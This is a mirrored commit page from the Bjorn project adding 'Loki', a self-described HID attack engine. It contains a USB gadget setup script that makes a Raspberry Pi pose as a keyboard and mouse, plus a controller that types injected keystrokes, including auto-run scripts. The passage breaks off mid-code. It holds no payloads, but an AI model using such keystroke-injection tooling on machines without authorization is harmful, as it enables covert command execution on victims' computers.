mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-15 08:52:00 +00:00
Add Loki and Sentinel utility classes for web API endpoints
- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads. - Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications. - Both classes include error handling and JSON response formatting.
This commit is contained in:
375
loki/__init__.py
Normal file
375
loki/__init__.py
Normal file
@@ -0,0 +1,375 @@
|
||||
"""
|
||||
Loki — HID Attack Engine for Bjorn.
|
||||
|
||||
Manages USB HID gadget lifecycle, script execution, and job tracking.
|
||||
Named after the Norse trickster god.
|
||||
|
||||
Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST).
|
||||
When active, the orchestrator stops and the Pi acts as a keyboard/mouse
|
||||
to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse).
|
||||
|
||||
HID GADGET STRATEGY:
|
||||
The HID functions (keyboard + mouse) are created ONCE at boot time alongside
|
||||
RNDIS networking by the usb-gadget.sh script. This avoids the impossible task
|
||||
of hot-adding HID functions to a running composite gadget (UDC rebind fails
|
||||
with EIO when RNDIS is active).
|
||||
|
||||
LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files.
|
||||
If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot.
|
||||
"""
|
||||
import os
|
||||
import time
|
||||
import subprocess
|
||||
import logging
|
||||
from threading import Event
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="loki", level=logging.DEBUG)
|
||||
|
||||
# USB HID report descriptors — EXACT byte-for-byte copies from P4wnP1_aloa
|
||||
# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70
|
||||
#
|
||||
# These are written to the gadget at boot time by usb-gadget.sh.
|
||||
# Kept here for reference and for the install_hid_gadget() method.
|
||||
#
|
||||
_KBD_REPORT_DESC = bytes([
|
||||
0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x05, 0x07,
|
||||
0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00, 0x25, 0x01,
|
||||
0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01,
|
||||
0x75, 0x08, 0x81, 0x03, 0x95, 0x05, 0x75, 0x01,
|
||||
0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02,
|
||||
0x95, 0x01, 0x75, 0x03, 0x91, 0x03, 0x95, 0x06,
|
||||
0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07,
|
||||
0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xc0,
|
||||
]) # 63 bytes, report_length=8
|
||||
|
||||
_MOUSE_REPORT_DESC = bytes([
|
||||
0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x09, 0x01,
|
||||
0xa1, 0x00, 0x85, 0x01, 0x05, 0x09, 0x19, 0x01,
|
||||
0x29, 0x03, 0x15, 0x00, 0x25, 0x01, 0x95, 0x03,
|
||||
0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05,
|
||||
0x81, 0x03, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31,
|
||||
0x15, 0x81, 0x25, 0x7f, 0x75, 0x08, 0x95, 0x02,
|
||||
0x81, 0x06, 0x95, 0x02, 0x75, 0x08, 0x81, 0x01,
|
||||
0xc0, 0xc0, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01,
|
||||
0x09, 0x01, 0xa1, 0x00, 0x85, 0x02, 0x05, 0x09,
|
||||
0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01,
|
||||
0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01,
|
||||
0x75, 0x05, 0x81, 0x01, 0x05, 0x01, 0x09, 0x30,
|
||||
0x09, 0x31, 0x15, 0x00, 0x26, 0xff, 0x7f, 0x95,
|
||||
0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0xc0,
|
||||
]) # 111 bytes, report_length=6
|
||||
|
||||
# The boot script that creates RNDIS + HID functions at startup.
|
||||
# This replaces /usr/local/bin/usb-gadget.sh
|
||||
_USB_GADGET_SCRIPT = '''#!/bin/bash
|
||||
# usb-gadget.sh — USB composite gadget: RNDIS networking + HID (keyboard/mouse)
|
||||
# Auto-generated by Bjorn Loki. Do not edit manually.
|
||||
|
||||
modprobe libcomposite
|
||||
cd /sys/kernel/config/usb_gadget/
|
||||
mkdir -p g1
|
||||
cd g1
|
||||
|
||||
echo 0x1d6b > idVendor
|
||||
echo 0x0104 > idProduct
|
||||
echo 0x0100 > bcdDevice
|
||||
echo 0x0200 > bcdUSB
|
||||
|
||||
mkdir -p strings/0x409
|
||||
echo "fedcba9876543210" > strings/0x409/serialnumber
|
||||
echo "Raspberry Pi" > strings/0x409/manufacturer
|
||||
echo "Pi Zero USB" > strings/0x409/product
|
||||
|
||||
mkdir -p configs/c.1/strings/0x409
|
||||
echo "Config 1: RNDIS + HID" > configs/c.1/strings/0x409/configuration
|
||||
echo 250 > configs/c.1/MaxPower
|
||||
|
||||
# ── RNDIS networking function ──
|
||||
mkdir -p functions/rndis.usb0
|
||||
[ -L configs/c.1/rndis.usb0 ] && rm configs/c.1/rndis.usb0
|
||||
ln -s functions/rndis.usb0 configs/c.1/
|
||||
|
||||
# ── HID functions (keyboard + mouse) ──
|
||||
# Use python3 to write binary report descriptors (bash printf can't handle null bytes)
|
||||
python3 - <<'PYEOF'
|
||||
import os, sys
|
||||
|
||||
G = "/sys/kernel/config/usb_gadget/g1"
|
||||
|
||||
# Keyboard: P4wnP1 exact boot keyboard descriptor (63 bytes)
|
||||
KBD_DESC = bytes([
|
||||
0x05,0x01,0x09,0x06,0xa1,0x01,0x05,0x07,
|
||||
0x19,0xe0,0x29,0xe7,0x15,0x00,0x25,0x01,
|
||||
0x75,0x01,0x95,0x08,0x81,0x02,0x95,0x01,
|
||||
0x75,0x08,0x81,0x03,0x95,0x05,0x75,0x01,
|
||||
0x05,0x08,0x19,0x01,0x29,0x05,0x91,0x02,
|
||||
0x95,0x01,0x75,0x03,0x91,0x03,0x95,0x06,
|
||||
0x75,0x08,0x15,0x00,0x25,0x65,0x05,0x07,
|
||||
0x19,0x00,0x29,0x65,0x81,0x00,0xc0,
|
||||
])
|
||||
|
||||
# Mouse: P4wnP1 dual-mode (relative + absolute) descriptor (111 bytes)
|
||||
MOUSE_DESC = bytes([
|
||||
0x05,0x01,0x09,0x02,0xa1,0x01,0x09,0x01,
|
||||
0xa1,0x00,0x85,0x01,0x05,0x09,0x19,0x01,
|
||||
0x29,0x03,0x15,0x00,0x25,0x01,0x95,0x03,
|
||||
0x75,0x01,0x81,0x02,0x95,0x01,0x75,0x05,
|
||||
0x81,0x03,0x05,0x01,0x09,0x30,0x09,0x31,
|
||||
0x15,0x81,0x25,0x7f,0x75,0x08,0x95,0x02,
|
||||
0x81,0x06,0x95,0x02,0x75,0x08,0x81,0x01,
|
||||
0xc0,0xc0,0x05,0x01,0x09,0x02,0xa1,0x01,
|
||||
0x09,0x01,0xa1,0x00,0x85,0x02,0x05,0x09,
|
||||
0x19,0x01,0x29,0x03,0x15,0x00,0x25,0x01,
|
||||
0x95,0x03,0x75,0x01,0x81,0x02,0x95,0x01,
|
||||
0x75,0x05,0x81,0x01,0x05,0x01,0x09,0x30,
|
||||
0x09,0x31,0x15,0x00,0x26,0xff,0x7f,0x95,
|
||||
0x02,0x75,0x10,0x81,0x02,0xc0,0xc0,
|
||||
])
|
||||
|
||||
def w(path, content):
|
||||
with open(path, "w") as f:
|
||||
f.write(content)
|
||||
|
||||
def wb(path, data):
|
||||
with open(path, "wb") as f:
|
||||
f.write(data)
|
||||
|
||||
try:
|
||||
# Keyboard (hid.usb0)
|
||||
kbd = G + "/functions/hid.usb0"
|
||||
os.makedirs(kbd, exist_ok=True)
|
||||
w(kbd + "/protocol", "1")
|
||||
w(kbd + "/subclass", "1")
|
||||
w(kbd + "/report_length", "8")
|
||||
wb(kbd + "/report_desc", KBD_DESC)
|
||||
|
||||
# Mouse (hid.usb1)
|
||||
mouse = G + "/functions/hid.usb1"
|
||||
os.makedirs(mouse, exist_ok=True)
|
||||
w(mouse + "/protocol", "2")
|
||||
w(mouse + "/subclass", "1")
|
||||
w(mouse + "/report_length", "6")
|
||||
wb(mouse + "/report_desc", MOUSE_DESC)
|
||||
|
||||
print(f"HID functions created: keyboard ({len(KBD_DESC)}B) + mouse ({len(MOUSE_DESC)}B)")
|
||||
except Exception as e:
|
||||
print(f"WARNING: HID setup failed (non-fatal): {e}", file=sys.stderr)
|
||||
sys.exit(0) # Don't block RNDIS setup
|
||||
PYEOF
|
||||
|
||||
# Symlink HID into config (non-fatal)
|
||||
for func in hid.usb0 hid.usb1; do
|
||||
[ -L "configs/c.1/$func" ] && rm "configs/c.1/$func"
|
||||
if [ -d "functions/$func" ]; then
|
||||
ln -s "functions/$func" "configs/c.1/" 2>/dev/null || true
|
||||
fi
|
||||
done
|
||||
|
||||
# ── Bind UDC ──
|
||||
max_retries=10
|
||||
retry_count=0
|
||||
while ! ls /sys/class/udc > UDC 2>/dev/null; do
|
||||
if [ $retry_count -ge $max_retries ]; then
|
||||
echo "Error: Device or resource busy after $max_retries attempts."
|
||||
exit 1
|
||||
fi
|
||||
retry_count=$((retry_count + 1))
|
||||
sleep 1
|
||||
done
|
||||
|
||||
UDC_NAME=$(ls /sys/class/udc)
|
||||
echo "$UDC_NAME" > UDC
|
||||
echo "Assigned UDC: $UDC_NAME (RNDIS + HID keyboard + HID mouse)"
|
||||
|
||||
# ── Configure network ──
|
||||
if ! ip addr show usb0 2>/dev/null | grep -q "172.20.2.1"; then
|
||||
ifconfig usb0 172.20.2.1 netmask 255.255.255.0 2>/dev/null || true
|
||||
echo "Configured usb0 with IP 172.20.2.1"
|
||||
else
|
||||
echo "Interface usb0 already configured."
|
||||
fi
|
||||
'''
|
||||
|
||||
_GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh"
|
||||
|
||||
|
||||
class LokiEngine:
|
||||
"""HID attack engine — manages script execution and job tracking.
|
||||
|
||||
The USB HID gadget (keyboard + mouse) is set up at boot time by
|
||||
usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1.
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self._stop_event = Event()
|
||||
self._running = False
|
||||
self._gadget_ready = False
|
||||
|
||||
# Sub-components (lazy init)
|
||||
self._hid = None
|
||||
self._jobs = None
|
||||
|
||||
# ── Properties ─────────────────────────────────────────────
|
||||
|
||||
@property
|
||||
def hid_controller(self):
|
||||
if self._hid is None:
|
||||
from loki.hid_controller import HIDController
|
||||
self._hid = HIDController()
|
||||
return self._hid
|
||||
|
||||
@property
|
||||
def job_manager(self):
|
||||
if self._jobs is None:
|
||||
from loki.jobs import LokiJobManager
|
||||
self._jobs = LokiJobManager(self)
|
||||
return self._jobs
|
||||
|
||||
# ── Start / Stop ───────────────────────────────────────────
|
||||
|
||||
def start(self):
|
||||
"""Start Loki engine: open HID devices, apply config."""
|
||||
if self._running:
|
||||
logger.warning("Loki already running")
|
||||
return
|
||||
|
||||
logger.info("Starting Loki engine...")
|
||||
self._stop_event.clear()
|
||||
|
||||
# Check if HID gadget is available (set up at boot)
|
||||
if not os.path.exists("/dev/hidg0"):
|
||||
logger.error(
|
||||
"/dev/hidg0 not found — HID gadget not configured at boot. "
|
||||
"Run install_hid_gadget() from the Loki API and reboot."
|
||||
)
|
||||
self._gadget_ready = False
|
||||
return
|
||||
|
||||
self._gadget_ready = True
|
||||
|
||||
# Open HID devices
|
||||
try:
|
||||
self.hid_controller.open()
|
||||
except Exception as e:
|
||||
logger.error("HID device open failed: %s", e)
|
||||
self._gadget_ready = False
|
||||
return
|
||||
|
||||
# Apply config
|
||||
layout = self.shared_data.config.get("loki_default_layout", "us")
|
||||
self.hid_controller.set_layout(layout)
|
||||
speed_min = self.shared_data.config.get("loki_typing_speed_min", 0)
|
||||
speed_max = self.shared_data.config.get("loki_typing_speed_max", 0)
|
||||
self.hid_controller.set_typing_speed(speed_min, speed_max)
|
||||
|
||||
self._running = True
|
||||
logger.info("Loki engine started (HID devices open)")
|
||||
|
||||
# Auto-run script if configured
|
||||
auto_run = self.shared_data.config.get("loki_auto_run", "")
|
||||
if auto_run:
|
||||
self._auto_run_script(auto_run)
|
||||
|
||||
def stop(self):
|
||||
"""Stop Loki engine: cancel jobs, close devices."""
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
logger.info("Stopping Loki engine...")
|
||||
self._stop_event.set()
|
||||
|
||||
# Cancel all running jobs
|
||||
if self._jobs:
|
||||
for job in self._jobs.get_all_jobs():
|
||||
if job["status"] == "running":
|
||||
self._jobs.cancel_job(job["id"])
|
||||
|
||||
# Close HID devices (don't remove gadget — it persists)
|
||||
if self._hid:
|
||||
self._hid.close()
|
||||
|
||||
self._running = False
|
||||
self._gadget_ready = False
|
||||
logger.info("Loki engine stopped")
|
||||
|
||||
def get_status(self) -> dict:
|
||||
"""Return current engine status for the API."""
|
||||
hidg0_exists = os.path.exists("/dev/hidg0")
|
||||
return {
|
||||
"enabled": self.shared_data.config.get("loki_enabled", False),
|
||||
"running": self._running,
|
||||
"gadget_ready": self._gadget_ready,
|
||||
"gadget_installed": hidg0_exists,
|
||||
"layout": self.shared_data.config.get("loki_default_layout", "us"),
|
||||
"jobs_running": self.job_manager.running_count if self._jobs else 0,
|
||||
"jobs_total": len(self._jobs.get_all_jobs()) if self._jobs else 0,
|
||||
}
|
||||
|
||||
# ── Job API (delegated to JobManager) ──────────────────────
|
||||
|
||||
def submit_job(self, script_name: str, script_content: str) -> str:
|
||||
"""Submit a HIDScript for execution. Returns job_id."""
|
||||
if not self._running:
|
||||
raise RuntimeError("Loki engine not running")
|
||||
if not self._gadget_ready:
|
||||
raise RuntimeError("HID gadget not ready")
|
||||
return self.job_manager.create_job(script_name, script_content)
|
||||
|
||||
def cancel_job(self, job_id: str) -> bool:
|
||||
return self.job_manager.cancel_job(job_id)
|
||||
|
||||
def get_jobs(self) -> list:
|
||||
return self.job_manager.get_all_jobs()
|
||||
|
||||
# ── HID Gadget Installation ────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def is_gadget_installed() -> bool:
|
||||
"""Check if the HID gadget is available."""
|
||||
return os.path.exists("/dev/hidg0")
|
||||
|
||||
@staticmethod
|
||||
def install_hid_gadget() -> dict:
|
||||
"""Install/update the USB gadget boot script to include HID functions.
|
||||
|
||||
Writes the new usb-gadget.sh that creates RNDIS + HID at boot.
|
||||
Returns status dict. Requires a reboot to take effect.
|
||||
"""
|
||||
try:
|
||||
# Write the new gadget script
|
||||
with open(_GADGET_SCRIPT_PATH, "w") as f:
|
||||
f.write(_USB_GADGET_SCRIPT)
|
||||
os.chmod(_GADGET_SCRIPT_PATH, 0o755)
|
||||
logger.info("USB gadget script updated at %s", _GADGET_SCRIPT_PATH)
|
||||
|
||||
return {
|
||||
"success": True,
|
||||
"message": "USB gadget script updated with HID support. Reboot required.",
|
||||
"reboot_required": True,
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
logger.error("Failed to install HID gadget script: %s", e)
|
||||
return {
|
||||
"success": False,
|
||||
"message": f"Installation failed: {e}",
|
||||
"reboot_required": False,
|
||||
}
|
||||
|
||||
# ── Auto-run ───────────────────────────────────────────────
|
||||
|
||||
def _auto_run_script(self, script_name: str):
|
||||
"""Auto-run a script by name from the database."""
|
||||
try:
|
||||
db = self.shared_data.db
|
||||
row = db.query_one(
|
||||
"SELECT content FROM loki_scripts WHERE name = ?", (script_name,)
|
||||
)
|
||||
if row and row.get("content"):
|
||||
self.submit_job(script_name, row["content"])
|
||||
logger.info("Auto-running script: %s", script_name)
|
||||
except Exception as e:
|
||||
logger.error("Auto-run failed for '%s': %s", script_name, e)
|
||||
408
loki/hid_controller.py
Normal file
408
loki/hid_controller.py
Normal file
@@ -0,0 +1,408 @@
|
||||
"""
|
||||
Low-level USB HID controller for Loki.
|
||||
Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1.
|
||||
"""
|
||||
import os
|
||||
import struct
|
||||
import time
|
||||
import random
|
||||
import logging
|
||||
import select
|
||||
from threading import Event
|
||||
|
||||
from logger import Logger
|
||||
from loki.layouts import load as load_layout
|
||||
|
||||
logger = Logger(name="loki.hid_controller", level=logging.DEBUG)
|
||||
|
||||
# ── HID Keycodes ──────────────────────────────────────────────
|
||||
# USB HID Usage Tables — Keyboard/Keypad Page (0x07)
|
||||
|
||||
KEY_NONE = 0x00
|
||||
KEY_A = 0x04
|
||||
KEY_B = 0x05
|
||||
KEY_C = 0x06
|
||||
KEY_D = 0x07
|
||||
KEY_E = 0x08
|
||||
KEY_F = 0x09
|
||||
KEY_G = 0x0A
|
||||
KEY_H = 0x0B
|
||||
KEY_I = 0x0C
|
||||
KEY_J = 0x0D
|
||||
KEY_K = 0x0E
|
||||
KEY_L = 0x0F
|
||||
KEY_M = 0x10
|
||||
KEY_N = 0x11
|
||||
KEY_O = 0x12
|
||||
KEY_P = 0x13
|
||||
KEY_Q = 0x14
|
||||
KEY_R = 0x15
|
||||
KEY_S = 0x16
|
||||
KEY_T = 0x17
|
||||
KEY_U = 0x18
|
||||
KEY_V = 0x19
|
||||
KEY_W = 0x1A
|
||||
KEY_X = 0x1B
|
||||
KEY_Y = 0x1C
|
||||
KEY_Z = 0x1D
|
||||
KEY_1 = 0x1E
|
||||
KEY_2 = 0x1F
|
||||
KEY_3 = 0x20
|
||||
KEY_4 = 0x21
|
||||
KEY_5 = 0x22
|
||||
KEY_6 = 0x23
|
||||
KEY_7 = 0x24
|
||||
KEY_8 = 0x25
|
||||
KEY_9 = 0x26
|
||||
KEY_0 = 0x27
|
||||
KEY_ENTER = 0x28
|
||||
KEY_ESC = 0x29
|
||||
KEY_BACKSPACE = 0x2A
|
||||
KEY_TAB = 0x2B
|
||||
KEY_SPACE = 0x2C
|
||||
KEY_MINUS = 0x2D
|
||||
KEY_EQUAL = 0x2E
|
||||
KEY_LEFTBRACE = 0x2F
|
||||
KEY_RIGHTBRACE = 0x30
|
||||
KEY_BACKSLASH = 0x31
|
||||
KEY_SEMICOLON = 0x33
|
||||
KEY_APOSTROPHE = 0x34
|
||||
KEY_GRAVE = 0x35
|
||||
KEY_COMMA = 0x36
|
||||
KEY_DOT = 0x37
|
||||
KEY_SLASH = 0x38
|
||||
KEY_CAPSLOCK = 0x39
|
||||
KEY_F1 = 0x3A
|
||||
KEY_F2 = 0x3B
|
||||
KEY_F3 = 0x3C
|
||||
KEY_F4 = 0x3D
|
||||
KEY_F5 = 0x3E
|
||||
KEY_F6 = 0x3F
|
||||
KEY_F7 = 0x40
|
||||
KEY_F8 = 0x41
|
||||
KEY_F9 = 0x42
|
||||
KEY_F10 = 0x43
|
||||
KEY_F11 = 0x44
|
||||
KEY_F12 = 0x45
|
||||
KEY_PRINTSCREEN = 0x46
|
||||
KEY_SCROLLLOCK = 0x47
|
||||
KEY_PAUSE = 0x48
|
||||
KEY_INSERT = 0x49
|
||||
KEY_HOME = 0x4A
|
||||
KEY_PAGEUP = 0x4B
|
||||
KEY_DELETE = 0x4C
|
||||
KEY_END = 0x4D
|
||||
KEY_PAGEDOWN = 0x4E
|
||||
KEY_RIGHT = 0x4F
|
||||
KEY_LEFT = 0x50
|
||||
KEY_DOWN = 0x51
|
||||
KEY_UP = 0x52
|
||||
KEY_NUMLOCK = 0x53
|
||||
|
||||
# ── Modifier bitmasks ─────────────────────────────────────────
|
||||
MOD_NONE = 0x00
|
||||
MOD_LEFT_CONTROL = 0x01
|
||||
MOD_LEFT_SHIFT = 0x02
|
||||
MOD_LEFT_ALT = 0x04
|
||||
MOD_LEFT_GUI = 0x08
|
||||
MOD_RIGHT_CONTROL = 0x10
|
||||
MOD_RIGHT_SHIFT = 0x20
|
||||
MOD_RIGHT_ALT = 0x40
|
||||
MOD_RIGHT_GUI = 0x80
|
||||
|
||||
# ── Combo name → (modifier_mask, keycode) ─────────────────────
|
||||
_COMBO_MAP = {
|
||||
# Modifiers (used standalone or in combos)
|
||||
"CTRL": (MOD_LEFT_CONTROL, KEY_NONE),
|
||||
"CONTROL": (MOD_LEFT_CONTROL, KEY_NONE),
|
||||
"SHIFT": (MOD_LEFT_SHIFT, KEY_NONE),
|
||||
"ALT": (MOD_LEFT_ALT, KEY_NONE),
|
||||
"GUI": (MOD_LEFT_GUI, KEY_NONE),
|
||||
"WIN": (MOD_LEFT_GUI, KEY_NONE),
|
||||
"WINDOWS": (MOD_LEFT_GUI, KEY_NONE),
|
||||
"COMMAND": (MOD_LEFT_GUI, KEY_NONE),
|
||||
"META": (MOD_LEFT_GUI, KEY_NONE),
|
||||
"RCTRL": (MOD_RIGHT_CONTROL, KEY_NONE),
|
||||
"RSHIFT": (MOD_RIGHT_SHIFT, KEY_NONE),
|
||||
"RALT": (MOD_RIGHT_ALT, KEY_NONE),
|
||||
"RGUI": (MOD_RIGHT_GUI, KEY_NONE),
|
||||
# Special keys
|
||||
"ENTER": (MOD_NONE, KEY_ENTER),
|
||||
"RETURN": (MOD_NONE, KEY_ENTER),
|
||||
"ESC": (MOD_NONE, KEY_ESC),
|
||||
"ESCAPE": (MOD_NONE, KEY_ESC),
|
||||
"BACKSPACE": (MOD_NONE, KEY_BACKSPACE),
|
||||
"TAB": (MOD_NONE, KEY_TAB),
|
||||
"SPACE": (MOD_NONE, KEY_SPACE),
|
||||
"CAPSLOCK": (MOD_NONE, KEY_CAPSLOCK),
|
||||
"DELETE": (MOD_NONE, KEY_DELETE),
|
||||
"INSERT": (MOD_NONE, KEY_INSERT),
|
||||
"HOME": (MOD_NONE, KEY_HOME),
|
||||
"END": (MOD_NONE, KEY_END),
|
||||
"PAGEUP": (MOD_NONE, KEY_PAGEUP),
|
||||
"PAGEDOWN": (MOD_NONE, KEY_PAGEDOWN),
|
||||
"UP": (MOD_NONE, KEY_UP),
|
||||
"DOWN": (MOD_NONE, KEY_DOWN),
|
||||
"LEFT": (MOD_NONE, KEY_LEFT),
|
||||
"RIGHT": (MOD_NONE, KEY_RIGHT),
|
||||
"PRINTSCREEN": (MOD_NONE, KEY_PRINTSCREEN),
|
||||
"SCROLLLOCK": (MOD_NONE, KEY_SCROLLLOCK),
|
||||
"PAUSE": (MOD_NONE, KEY_PAUSE),
|
||||
"NUMLOCK": (MOD_NONE, KEY_NUMLOCK),
|
||||
# F keys
|
||||
"F1": (MOD_NONE, KEY_F1), "F2": (MOD_NONE, KEY_F2),
|
||||
"F3": (MOD_NONE, KEY_F3), "F4": (MOD_NONE, KEY_F4),
|
||||
"F5": (MOD_NONE, KEY_F5), "F6": (MOD_NONE, KEY_F6),
|
||||
"F7": (MOD_NONE, KEY_F7), "F8": (MOD_NONE, KEY_F8),
|
||||
"F9": (MOD_NONE, KEY_F9), "F10": (MOD_NONE, KEY_F10),
|
||||
"F11": (MOD_NONE, KEY_F11), "F12": (MOD_NONE, KEY_F12),
|
||||
# Letters (for combo usage like "GUI r")
|
||||
"A": (MOD_NONE, KEY_A), "B": (MOD_NONE, KEY_B),
|
||||
"C": (MOD_NONE, KEY_C), "D": (MOD_NONE, KEY_D),
|
||||
"E": (MOD_NONE, KEY_E), "F": (MOD_NONE, KEY_F),
|
||||
"G": (MOD_NONE, KEY_G), "H": (MOD_NONE, KEY_H),
|
||||
"I": (MOD_NONE, KEY_I), "J": (MOD_NONE, KEY_J),
|
||||
"K": (MOD_NONE, KEY_K), "L": (MOD_NONE, KEY_L),
|
||||
"M": (MOD_NONE, KEY_M), "N": (MOD_NONE, KEY_N),
|
||||
"O": (MOD_NONE, KEY_O), "P": (MOD_NONE, KEY_P),
|
||||
"Q": (MOD_NONE, KEY_Q), "R": (MOD_NONE, KEY_R),
|
||||
"S": (MOD_NONE, KEY_S), "T": (MOD_NONE, KEY_T),
|
||||
"U": (MOD_NONE, KEY_U), "V": (MOD_NONE, KEY_V),
|
||||
"W": (MOD_NONE, KEY_W), "X": (MOD_NONE, KEY_X),
|
||||
"Y": (MOD_NONE, KEY_Y), "Z": (MOD_NONE, KEY_Z),
|
||||
}
|
||||
|
||||
# ── LED bitmasks (host → device output report) ────────────────
|
||||
LED_NUM = 0x01
|
||||
LED_CAPS = 0x02
|
||||
LED_SCROLL = 0x04
|
||||
LED_ANY = 0xFF
|
||||
|
||||
|
||||
class HIDController:
|
||||
"""Low-level USB HID report writer."""
|
||||
|
||||
def __init__(self):
|
||||
self._kbd_fd = None # /dev/hidg0
|
||||
self._mouse_fd = None # /dev/hidg1
|
||||
self._layout = load_layout("us")
|
||||
self._speed_min = 0 # ms between keystrokes (0 = instant)
|
||||
self._speed_max = 0
|
||||
|
||||
# ── Lifecycle ──────────────────────────────────────────────
|
||||
|
||||
def open(self):
|
||||
"""Open HID gadget device files."""
|
||||
try:
|
||||
self._kbd_fd = os.open("/dev/hidg0", os.O_RDWR | os.O_NONBLOCK)
|
||||
logger.info("Opened /dev/hidg0 (keyboard)")
|
||||
except OSError as e:
|
||||
logger.error("Cannot open /dev/hidg0: %s", e)
|
||||
raise
|
||||
|
||||
try:
|
||||
self._mouse_fd = os.open("/dev/hidg1", os.O_RDWR | os.O_NONBLOCK)
|
||||
logger.info("Opened /dev/hidg1 (mouse)")
|
||||
except OSError as e:
|
||||
logger.warning("Cannot open /dev/hidg1 (mouse disabled): %s", e)
|
||||
self._mouse_fd = None
|
||||
|
||||
def close(self):
|
||||
"""Close HID device files."""
|
||||
self.release_all()
|
||||
if self._kbd_fd is not None:
|
||||
try:
|
||||
os.close(self._kbd_fd)
|
||||
except OSError:
|
||||
pass
|
||||
self._kbd_fd = None
|
||||
if self._mouse_fd is not None:
|
||||
try:
|
||||
os.close(self._mouse_fd)
|
||||
except OSError:
|
||||
pass
|
||||
self._mouse_fd = None
|
||||
logger.debug("HID devices closed")
|
||||
|
||||
@property
|
||||
def is_open(self) -> bool:
|
||||
return self._kbd_fd is not None
|
||||
|
||||
# ── Layout ─────────────────────────────────────────────────
|
||||
|
||||
def set_layout(self, name: str):
|
||||
"""Switch keyboard layout."""
|
||||
self._layout = load_layout(name)
|
||||
logger.debug("Layout switched to '%s'", name)
|
||||
|
||||
def set_typing_speed(self, min_ms: int, max_ms: int):
|
||||
"""Set random delay range between keystrokes (ms)."""
|
||||
self._speed_min = max(0, min_ms)
|
||||
self._speed_max = max(self._speed_min, max_ms)
|
||||
|
||||
# ── Keyboard Reports ───────────────────────────────────────
|
||||
|
||||
def send_key_report(self, modifiers: int, keys: list):
|
||||
"""Send an 8-byte keyboard report: [mod, 0x00, key1..key6]."""
|
||||
if self._kbd_fd is None:
|
||||
return
|
||||
report = bytearray(8)
|
||||
report[0] = modifiers & 0xFF
|
||||
for i, k in enumerate(keys[:6]):
|
||||
report[2 + i] = k & 0xFF
|
||||
os.write(self._kbd_fd, bytes(report))
|
||||
|
||||
def release_all(self):
|
||||
"""Send empty keyboard + mouse reports (release everything)."""
|
||||
if self._kbd_fd is not None:
|
||||
try:
|
||||
os.write(self._kbd_fd, bytes(8))
|
||||
except OSError:
|
||||
pass
|
||||
if self._mouse_fd is not None:
|
||||
try:
|
||||
os.write(self._mouse_fd, bytes([0x01, 0, 0, 0, 0, 0]))
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def press_combo(self, combo_str: str):
|
||||
"""Press a key combination like 'GUI r', 'CTRL ALT DELETE'.
|
||||
|
||||
Keys are separated by spaces. All are pressed simultaneously, then released.
|
||||
"""
|
||||
parts = combo_str.strip().split()
|
||||
mod_mask = 0
|
||||
keycodes = []
|
||||
|
||||
for part in parts:
|
||||
upper = part.upper()
|
||||
if upper in _COMBO_MAP:
|
||||
m, k = _COMBO_MAP[upper]
|
||||
mod_mask |= m
|
||||
if k != KEY_NONE:
|
||||
keycodes.append(k)
|
||||
else:
|
||||
# Try single char via layout
|
||||
if len(part) == 1 and part in self._layout:
|
||||
char_mod, char_key = self._layout[part]
|
||||
mod_mask |= char_mod
|
||||
keycodes.append(char_key)
|
||||
else:
|
||||
logger.warning("Unknown combo key: '%s'", part)
|
||||
|
||||
if keycodes or mod_mask:
|
||||
self.send_key_report(mod_mask, keycodes)
|
||||
time.sleep(0.02)
|
||||
self.send_key_report(0, []) # release
|
||||
|
||||
def type_string(self, text: str, stop_event: Event = None):
|
||||
"""Type a string character by character using the current layout."""
|
||||
for ch in text:
|
||||
if stop_event and stop_event.is_set():
|
||||
return
|
||||
if ch in self._layout:
|
||||
mod, key = self._layout[ch]
|
||||
self.send_key_report(mod, [key])
|
||||
time.sleep(0.01)
|
||||
self.send_key_report(0, []) # release
|
||||
else:
|
||||
logger.warning("Unmapped char: %r", ch)
|
||||
continue
|
||||
|
||||
# Inter-keystroke delay
|
||||
if self._speed_max > 0:
|
||||
delay = random.randint(self._speed_min, self._speed_max) / 1000.0
|
||||
if stop_event:
|
||||
stop_event.wait(delay)
|
||||
else:
|
||||
time.sleep(delay)
|
||||
else:
|
||||
time.sleep(0.005) # tiny default gap for reliability
|
||||
|
||||
# ── LED State ──────────────────────────────────────────────
|
||||
|
||||
def read_led_state(self) -> int:
|
||||
"""Read current LED state from host (non-blocking). Returns bitmask."""
|
||||
if self._kbd_fd is None:
|
||||
return 0
|
||||
try:
|
||||
r, _, _ = select.select([self._kbd_fd], [], [], 0)
|
||||
if r:
|
||||
data = os.read(self._kbd_fd, 1)
|
||||
if data:
|
||||
return data[0]
|
||||
except OSError:
|
||||
pass
|
||||
return 0
|
||||
|
||||
def wait_led(self, mask: int, stop_event: Event = None, timeout: float = 0):
|
||||
"""Block until host LED state matches mask.
|
||||
|
||||
